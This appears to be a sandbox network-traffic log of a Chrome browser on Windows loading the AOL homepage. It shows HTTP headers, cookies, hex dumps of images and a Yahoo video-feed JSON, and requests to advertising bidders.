2024-05-23 22:34:53 UTC	2169	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff ff ff ff ff fe fb e5 db ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 87 39 27 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff fd fc ff ff ff ff ff ff f9 d9 ca ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fc ee e7 ff ff ff fa e1 d6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd f5 f1 ff ff ff fd f3 ee fe f9 f7 fe f8 f5 ff ff ff ff ff ff fd f5 f2 ff ff ff f9 db cd ff ff ff ff ff ff ff ff ff f6 c9 b5 ff fb fa fd f6 f3 ff ff ff ff fe fd fc ed e6 87 39 27 f7 d0 be fb ea e2 87 39 27 87 39 27 ff ff ff fc eb e4 87 Data Ascii: PNGIHDR22)xPLTEGpL9'9'9'9'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.6	49946	87.248.100.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	953	OUT	GET /api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage HTTP/1.1 Host: ncp-gw-video.media.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:53 UTC	1223	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 access-control-allow-origin: https://www.aol.com access-control-allow-credentials: true cache-control: public, stale-while-revalidate=900, max-age=60 vary: Accept-Encoding,Origin y-rid: 6f8065lj4vh4d,6f8065lj4vh4d x-yahoo-request-id: 6f8065lj4vh4d,6f8065lj4vh4d x-request-id: 94ef9dd0-439d-460f-8655-374115535eca,94ef9dd0-439d-460f-8655-374115535eca x-envoy-upstream-service-time: 69 date: Thu, 23 May 2024 22:34:53 GMT server: ATS Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:53 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:53 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:34:53 UTC	324	IN	Data Raw: 33 32 34 64 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 63 75 72 61 74 65 64 56 69 64 65 6f 73 22 3a 7b 22 73 74 72 65 61 6d 49 6e 66 6f 22 3a 7b 22 72 65 74 75 72 6e 65 64 4c 69 73 74 43 6f 75 6e 74 22 3a 31 32 2c 22 72 65 71 75 65 73 74 65 64 43 6f 75 6e 74 22 3a 31 32 30 2c 22 73 74 72 65 61 6d 54 79 70 65 22 3a 22 6a 61 72 76 69 73 22 2c 22 73 6e 69 70 70 65 74 43 6f 75 6e 74 22 3a 31 32 2c 22 71 75 65 72 79 50 72 6f 66 69 6c 65 22 3a 22 61 73 73 65 74 6c 69 73 74 5f 73 69 6e 67 6c 65 5f 66 65 65 64 22 2c 22 69 64 22 3a 22 4a 41 52 56 49 53 3a 63 75 72 61 74 65 64 56 69 64 65 6f 73 3a 61 73 73 65 74 6c 69 73 74 5f 73 69 6e 67 6c 65 5f 66 65 65 64 3a 6e 75 6c 6c 22 2c 22 6a 61 72 76 69 73 46 65 65 64 4e 61 6d 65 22 3a 22 6d 61 69 6e 22 2c 22 70 61 72 61 6d 73 Data Ascii: 324d{"data":{"curatedVideos":{"streamInfo":{"returnedListCount":12,"requestedCount":120,"streamType":"jarvis","snippetCount":12,"queryProfile":"assetlist_single_feed","id":"JARVIS:curatedVideos:assetlist_single_feed:null","jarvisFeedName":"main","params
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 32 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 64 65 64 75 70 5f 75 75 69 64 73 22 3a 22 22 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 63 6f 75 6e 74 22 3a 31 32 30 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 73 74 72 65 61 6d 2e 61 73 73 65 74 5f 6c 69 73 74 2e 6c 69 73 74 41 6c 69 61 73 22 3a 22 79 6d 65 64 69 61 2d 61 6c 69 61 73 3a 70 6c 61 79 6c 69 73 74 3d 61 6f 6c 63 6f 6d 2d 68 6f 6d 65 70 61 67 65 22 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 73 74 72 65 61 6d 2e 61 73 73 65 74 5f 6c 69 73 74 2e 76 61 72 69 61 62 6c 65 41 72 72 22 3a 7b 22 73 74 72 65 61 6d 73 2e 62 6c 61 63 6b 6c 69 73 74 65 64 2e 65 6e 61 62 6c 65 22 3a 5b 66 61 6c 73 65 5d 7d 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 64 65 64 75 70 2e 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 66 65 65 64 2e 6d 61 69 6e 2e 73 Data Ascii: 2,"feed.main.dedup_uuids":"","feed.main.count":120,"feed.main.stream.asset_list.listAlias":"ymedia-alias:playlist=aolcom-homepage","feed.main.stream.asset_list.variableArr":{"streams.blacklisted.enable":[false]},"feed.main.dedup.enabled":true,"feed.main.s
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 30 30 30 33 22 2c 22 79 6d 65 64 69 61 3a 63 61 74 65 67 6f 72 79 3d 31 30 30 30 30 30 30 30 32 22 2c 22 79 63 74 3a 30 30 31 30 30 30 32 39 38 22 2c 22 79 66 69 6e 61 6e 63 65 3a 70 61 72 74 6e 65 72 3d 61 70 70 6c 65 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 61 75 22 2c 22 79 6d 65 64 69 61 3a 70 72 6f 76 69 64 65 72 5f 63 61 74 65 67 6f 72 79 3d 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 2c 22 79 6d 65 64 69 61 3a 74 79 70 65 3d 63 61 76 69 64 65 6f 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 65 78 70 65 72 69 6d 65 6e 74 3d 76 69 64 65 6f 5f 70 72 65 66 65 72 72 65 64 5f 70 72 6f 76 69 64 65 72 73 22 2c 22 79 6d 65 64 69 61 3a 73 65 72 69 65 73 5f 6e 61 6d 65 3d 41 50 22 5d 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 7b 22 72 65 73 6f 6c Data Ascii: 0003","ymedia:category=100000002","yct:001000298","yfinance:partner=apple","yfrontpage:region=au","ymedia:provider_category=Entertainment","ymedia:type=cavideo","yfrontpage:experiment=video_preferred_providers","ymedia:series_name=AP"],"thumbnail":{"resol
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 49 6c 6f 2e 20 20 54 68 65 20 6d 6f 6e 6b 65 79 73 20 68 61 76 65 20 61 20 75 6e 69 71 75 65 20 6c 6f 6f 6b 3a 20 61 20 64 61 72 6b 20 62 6f 64 79 2c 20 77 68 69 74 65 20 63 68 65 73 74 20 61 6e 64 20 64 69 73 74 69 6e 63 74 69 76 65 20 77 68 69 74 65 20 72 75 66 66 73 20 61 72 6f 75 6e 64 20 74 68 65 69 72 20 66 61 63 65 73 2e 20 20 41 63 63 6f 72 64 69 6e 67 20 74 6f 20 43 68 65 73 74 65 72 20 5a 6f 6f 2c 20 52 6f 6c 6f 77 61 79 20 6d 6f 6e 6b 65 79 73 20 61 72 65 20 6f 6e 20 74 68 65 20 62 72 69 6e 6b 20 6f 66 20 65 78 74 69 6e 63 74 69 6f 6e 20 64 75 65 20 74 6f 20 68 61 62 69 74 61 74 20 6c 6f 73 73 20 69 6e 20 57 65 73 74 20 41 66 72 69 63 61 2e 22 2c 22 64 75 72 61 74 69 6f 6e 22 3a 35 37 2e 30 2c 22 66 69 6e 61 6e 63 65 22 3a 7b 22 73 74 6f 63 6b Data Ascii: Ilo. The monkeys have a unique look: a dark body, white chest and distinctive white ruffs around their faces. According to Chester Zoo, Roloway monkeys are on the brink of extinction due to habitat loss in West Africa.","duration":57.0,"finance":{"stock
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 6a 50 55 41 2d 2d 7e 42 2f 5a 6d 6b 39 63 33 52 79 61 57 30 37 61 44 30 78 4e 44 51 37 64 7a 30 79 4e 6a 41 37 59 58 42 77 61 57 51 39 65 58 52 68 59 32 68 35 62 32 34 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 76 69 64 65 6f 2e 61 73 73 6f 63 69 61 74 65 64 70 72 65 73 73 66 72 65 65 2e 63 6f 6d 2f 38 32 66 38 65 39 66 32 39 31 34 34 32 38 39 34 64 62 63 63 34 65 66 38 66 36 37 65 35 35 33 63 22 2c 22 77 69 64 74 68 22 3a 32 36 30 2c 22 68 65 69 67 68 74 22 3a 31 34 34 2c 22 74 61 67 22 3a 22 32 36 30 78 31 34 34 22 7d 5d 7d 2c 22 76 69 65 77 65 72 43 6f 75 6e 74 22 3a 7b 22 69 64 22 3a 22 33 36 37 65 35 63 32 37 2d 35 66 33 62 2d 33 61 38 65 2d 39 64 32 35 2d 37 31 64 63 30 33 66 31 62 61 66 32 22 2c 22 76 69 Data Ascii: jPUA--~B/Zmk9c3RyaW07aD0xNDQ7dz0yNjA7YXBwaWQ9eXRhY2h5b24-/https://media.zenfs.com/en/video.associatedpressfree.com/82f8e9f291442894dbcc4ef8f67e553c","width":260,"height":144,"tag":"260x144"}]},"viewerCount":{"id":"367e5c27-5f3b-3a8e-9d25-71dc03f1baf2","vi
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 65 20 61 6e 64 20 6c 65 74 20 6d 65 20 73 65 65 20 77 68 61 74 20 49 20 67 65 74 2e e2 80 9d 20 e2 80 9c 42 69 6e 67 6f 2e 20 47 6f 20 61 68 65 61 64 20 61 6e 64 20 64 69 76 69 64 65 20 62 6f 74 68 20 73 69 64 65 73 20 62 79 20 74 68 72 65 65 2e e2 80 9d 20 3c 2f 70 3e 3c 70 3e 5c 22 53 6f 20 43 68 61 74 47 50 54 2c 20 74 68 69 73 20 69 73 20 77 68 61 74 20 49 20 65 6e 64 65 64 20 75 70 20 77 69 74 68 2e 20 48 6f 77 20 64 6f 65 73 20 74 68 69 73 20 6c 6f 6f 6b 3f e2 80 9d 20 e2 80 9c 49 74 20 6c 6f 6f 6b 73 20 70 65 72 66 65 63 74 2e 20 59 6f 75 27 76 65 20 73 6f 6c 76 65 64 20 69 74 2e 20 41 6e 64 20 78 20 65 71 75 61 6c 73 20 6f 6e 65 2e 20 4e 69 63 65 6c 79 20 64 6f 6e 65 2e 5c 22 3c 2f 70 3e 3c 70 3e 54 68 65 20 64 69 73 70 75 74 65 20 6f 76 65 72 20 Data Ascii: e and let me see what I get. Bingo. Go ahead and divide both sides by three. </p><p>\"So ChatGPT, this is what I ended up with. How does this look? It looks perfect. You've solved it. And x equals one. Nicely done.\"</p><p>The dispute over
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 47 56 61 30 63 5a 75 57 50 51 56 69 67 5f 65 4e 31 54 4f 5f 58 41 2d 2d 7e 42 2f 61 44 30 31 4e 44 41 37 64 7a 30 35 4e 6a 41 37 59 58 42 77 61 57 51 39 65 58 52 68 59 32 68 35 62 32 34 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 76 69 64 65 6f 2e 72 65 75 74 65 72 73 6e 65 77 73 2e 63 6f 6d 2f 63 39 35 34 34 34 37 37 62 38 35 63 62 65 37 62 61 31 64 66 31 37 36 35 32 30 30 30 61 64 61 36 22 2c 22 77 69 64 74 68 22 3a 39 36 30 2c 22 68 65 69 67 68 74 22 3a 35 34 30 2c 22 74 61 67 22 3a 22 6f 72 69 67 69 6e 61 6c 22 7d 2c 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e Data Ascii: .yimg.com/uu/api/res/1.2/GVa0cZuWPQVig_eN1TO_XA--~B/aD01NDA7dz05NjA7YXBwaWQ9eXRhY2h5b24-/https://media.zenfs.com/en/video.reutersnews.com/c9544477b85cbe7ba1df17652000ada6","width":960,"height":540,"tag":"original"},{"url":"https://s.yimg.com/uu/api/res/1.
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 65 73 73 22 2c 22 79 6d 65 64 69 61 3a 74 79 70 65 3d 63 61 76 69 64 65 6f 22 2c 22 61 6f 6c 6e 65 77 73 3a 72 65 67 69 6f 6e 3d 75 73 22 2c 22 61 6f 6c 66 69 6e 61 6e 63 65 3a 72 65 67 69 6f 6e 3d 75 73 22 2c 22 79 6d 65 64 69 61 3a 70 72 6f 76 69 64 65 72 5f 63 61 74 65 67 6f 72 79 3d 6c 69 66 65 22 2c 22 61 6f 6c 6c 69 66 65 73 74 79 6c 65 3a 72 65 67 69 6f 6e 3d 75 73 22 5d 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 7b 22 72 65 73 6f 6c 75 74 69 6f 6e 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 69 35 41 67 73 6b 39 33 67 6c 4b 4a 6f 55 54 30 46 4f 50 44 4d 77 2d 2d 7e 42 2f 61 44 30 33 4d 6a 41 37 64 7a 30 78 4d 6a 67 77 4f 32 46 77 63 47 6c 6b 50 58 6c 30 59 57 Data Ascii: ess","ymedia:type=cavideo","aolnews:region=us","aolfinance:region=us","ymedia:provider_category=life","aollifestyle:region=us"],"thumbnail":{"resolutions":[{"url":"https://s.yimg.com/uu/api/res/1.2/i5Agsk93glKJoUT0FOPDMw--~B/aD03MjA7dz0xMjgwO2FwcGlkPXl0YW
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 3a 35 32 5a 22 2c 22 70 72 6f 76 69 64 65 72 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 70 6e 65 77 73 2e 63 6f 6d 2f 22 2c 22 64 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 20 56 69 64 65 6f 73 22 7d 2c 22 74 61 67 73 22 3a 5b 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 63 61 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 75 73 22 2c 22 79 63 74 3a 30 30 31 30 30 30 32 30 32 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 67 62 22 2c 22 79 6d 65 64 69 61 3a 68 6f 73 74 65 64 3d 79 65 73 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 73 67 22 2c 22 79 73 70 6f 72 74 73 3a 54 69 65 72 3d 31 30 22 2c 22 79 6e 65 77 73 3a 72 65 67 69 6f 6e 3d Data Ascii: :52Z","provider":{"url":"https://apnews.com/","displayName":"Associated Press Videos"},"tags":["yfrontpage:region=ca","yfrontpage:region=us","yct:001000202","yfrontpage:region=gb","ymedia:hosted=yes","yfrontpage:region=sg","ysports:Tier=10","ynews:region=
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 65 72 43 6f 75 6e 74 22 3a 7b 22 69 64 22 3a 22 63 34 63 32 65 61 31 35 2d 37 38 30 39 2d 33 38 36 33 2d 39 38 32 32 2d 63 33 37 36 35 64 39 65 35 30 37 38 22 2c 22 76 69 65 77 65 72 43 6f 75 6e 74 22 3a 30 2c 22 76 69 65 77 43 6f 75 6e 74 22 3a 33 30 38 35 33 32 7d 7d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 69 64 22 3a 22 32 37 61 31 61 30 62 34 2d 30 36 64 65 2d 33 37 35 64 2d 61 39 39 61 2d 63 32 35 61 38 34 61 38 30 61 63 35 22 2c 22 74 69 74 6c 65 22 3a 22 4e 69 6e 65 20 66 65 6d 61 6c 65 20 61 74 68 6c 65 74 65 73 20 67 65 74 20 42 61 72 62 69 65 20 64 6f 6c 6c 73 20 6d 61 64 65 20 69 6e 20 74 68 65 69 72 20 6c 69 6b 65 6e 65 73 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 56 65 6e 75 73 20 57 69 6c 6c 69 61 6d 73 20 69 73 20 61 6d 6f Data Ascii: erCount":{"id":"c4c2ea15-7809-3863-9822-c3765d9e5078","viewerCount":0,"viewCount":308532}}},{"content":{"id":"27a1a0b4-06de-375d-a99a-c25a84a80ac5","title":"Nine female athletes get Barbie dolls made in their likeness","description":"Venus Williams is amo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.6	49943	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	705	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FuEwpYfoMP9FJDfHYpyaFNA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190402%2F500x500%2Fnationals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=bda6a08982f2e713e93fe0f7e8ba10d39c3c7dc6 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1517	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2513538 Cache-Control: public, max-age=2592000 Cache-Tag: 229822453761295167667135199919811573399,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000022-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 229822453761295167667135199919811573399,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "0456bba74094b70993b79c05054f0e8e" Expiration: expiry-date="Sat, 31 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 03 Mar 2024 09:39:23 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/370C) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1697,owidth=50,oheight=50,obytes=1795,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100167-IAD X-Timer: S1711398156.831855,VS0,VE136 Content-Length: 1697 Connection: close
2024-05-23 22:34:53 UTC	1697	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 85 50 4c 54 45 47 70 4c ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 02 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab 00 03 ab Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.6	49952	44.219.45.70	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	817	OUT	GET /j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1 Host: rp.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13
2024-05-23 22:34:53 UTC	467	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:53 GMT Content-Type: application/json Content-Length: 13 Connection: close X-Pixel-Event-Id: 1f9b6589-75b4-4b14-be01-0d8cc512d648 set-cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13; Max-Age=63072000; Domain=.liadm.com; Path=/j; Secure; SameSite=None access-control-expose-headers: * access-control-allow-origin: https://www.aol.com access-control-allow-methods: GET access-control-allow-credentials: true
2024-05-23 22:34:53 UTC	13	IN	Data Raw: 7b 22 62 61 6b 65 72 73 22 3a 5b 5d 7d Data Ascii: {"bakers":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.6	49953	104.18.36.155	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	366	OUT	GET /openrtb/pbjs?s=1057757 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	604	IN	HTTP/1.1 204 No Content Date: Thu, 23 May 2024 22:34:53 GMT Content-Type: application/json Connection: close CF-Ray: 88888416398b32d3-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FeGBuKbTM6XQSwVmuW7CxhIN%2Fiu0BolEcGH6LAH6b8bIslvdcsDMxUTRdPxJvc6RrAgdgsXhHM9KE90BbBwQXDOjpAx1dxN1To3UYFx7vFEhaK5fsU6F1z5Dc1nQfTvuiZb98axw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.6	49955	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	354	OUT	GET /openrtbb/prebidjs HTTP/1.1 Host: rtb.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	175	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.6	49956	34.120.63.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	364	OUT	GET /rtb/prebid?cid=8CUBQTSIL HTTP/1.1 Host: prebid.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	296	IN	HTTP/1.1 204 No Content content-length: 0 date: Thu, 23 May 2024 22:34:53 GMT x-envoy-upstream-service-time: 0 server: envoy Via: 1.1 google Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.6	49947	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	926	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: 